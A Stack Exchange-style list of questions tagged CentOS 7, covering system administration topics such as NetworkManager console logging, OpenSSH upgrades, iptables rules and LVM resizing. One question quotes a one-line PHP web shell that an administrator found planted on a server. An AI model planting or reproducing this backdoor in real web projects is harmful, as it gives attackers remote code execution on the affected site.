Questions tagged [centos-7]
Version 7 of CentOS Linux distribution. The CentOS Linux distribution is a stable, predictable, manageable and reproducible platform derived from the sources of Red Hat Enterprise Linux (RHEL).
708 questions
4
votes
1
answer
245
views
Prevent NetworkManager.service from logging on all TTYs of the console
I'm need to redirect the NetworkManager.service messages appearing on the console to specific tty so I can work in peace :
I see nothing in `/usr/lib/systemd/system/NetworkManager.service` :
# /usr/...
34
votes
2
answers
5k
views
Why can’t I delete a suspicious PHP file even with root?
On my server running CWP, I recently found a file located in /usr/local/cwpsrv/htdocs/admin/admin called error.php that just has the contents <?php @eval($_POST['shell']);?> (very concerning).
...
0
votes
0
answers
58
views
DNS ipv6 server inside a CentOS docker container
I'm trying to run an ipv6 dns server (that answers ipv6 resolution requests using ipv6) inside a docker container running a CentOS Linux release 7.9.2009 (Core).
Here is the output for named status ...
0
votes
1
answer
450
views
How can I safely upgrade OpenSSH on old remote EOL Linux PCs (Centos 6 and 7)?
How can I safely upgrade OpenSSH on a remote Linux PC?
Is filtering telnet temporarily sufficient? Or maybe I could run a script that would not restart sshd until a reboot - and save telnet for a ...
2
votes
0
answers
481
views
VirtualBox/vagrant VM can't mount shared folders after unexpected host reboot
Context: Windows 11 host, CentOS 7 guest, Vagrant box that has been mostly unmodified for a long time. (I'm gradually building a brand new Debian VM, but it's not ready for use yet and I don't ...
0
votes
0
answers
21
views
"find" command does not find all files from root unless folder is specified [duplicate]
I am trying to find the files that are named setenv.sh on this machine, I am logged in as root and am searching from the '/' using the following syntax and receiving the output:
# First
[root@...
1
vote
0
answers
110
views
Can anyone help e with FFMPEG on Centos 7
I have a script that requires FFMPEG but I cant seem to get it working on my Centos 7 server the script gives the following error:
ffmpeg version 2.8.15 Copyright (c) 2000-2018 the FFmpeg developers
...
1
vote
0
answers
136
views
Reduce Space From /dev/centos/root
In my system using xfs file system with the below mentioned drive structure, I want to reduce space from /dev/centos/root volume in volume group Centos. Since xfs cannot be directly reduced, my method ...
3
votes
1
answer
2k
views
What is a high number of 'VM Exit's?
When using a virtual machine, one of the key performance parameters is 'VM exits'. I have a multicore VM under VM VirtualBox, indicating on average 30k VM exits per second, but I have nothing to ...
0
votes
2
answers
380
views
How to Block File Manager Application from Connecting to SFTP Server
Operating System : CentOS Linux 7 (Core)
File Manager : Thunar 1.6.16
Trying to achieve : Users should not copy files to other servers via SFTP. But the blocking mechanism should not block users ...
1
vote
0
answers
32
views
how to route if users from (10.70.100.0/24) want to use IPPBX then it would use the eth1?
I run CentOS 7, my ifconfig as follow:
eth0 serves LAN users, and eth1 is the IPPBX, how to route if users from (10.70.100.0/24) want to use IPPBX then it would use the eth1?
eth0: flags=4163<UP,...
0
votes
2
answers
9k
views
Giving access to (read / write) to other users on nfs without root privileges
I am working on a CentOS server without root privileges. I am trying to share a specific folder on the network with another user.
I have already tried 'setfacl' with no success (resulting in '...
2
votes
1
answer
11k
views
Installing keytool without JDK
I am trying to install keytool in a docker image based on centos but I get an error.
Example to reproduce Dockerfile:
FROM centos:7.9.2009 ...
0
votes
0
answers
307
views
Duplicate entries in lsblk output
This is my lsblk output:
lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 500G 0 disk
├─sda1 8:1 0 1G 0 part /boot
├─sda2 8:2 0 ...
5
votes
1
answer
882
views
Iptables Fail to block inbound from specific ip
Hi I Have a online server which i use like gateway and iptables is acting weird
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -i ...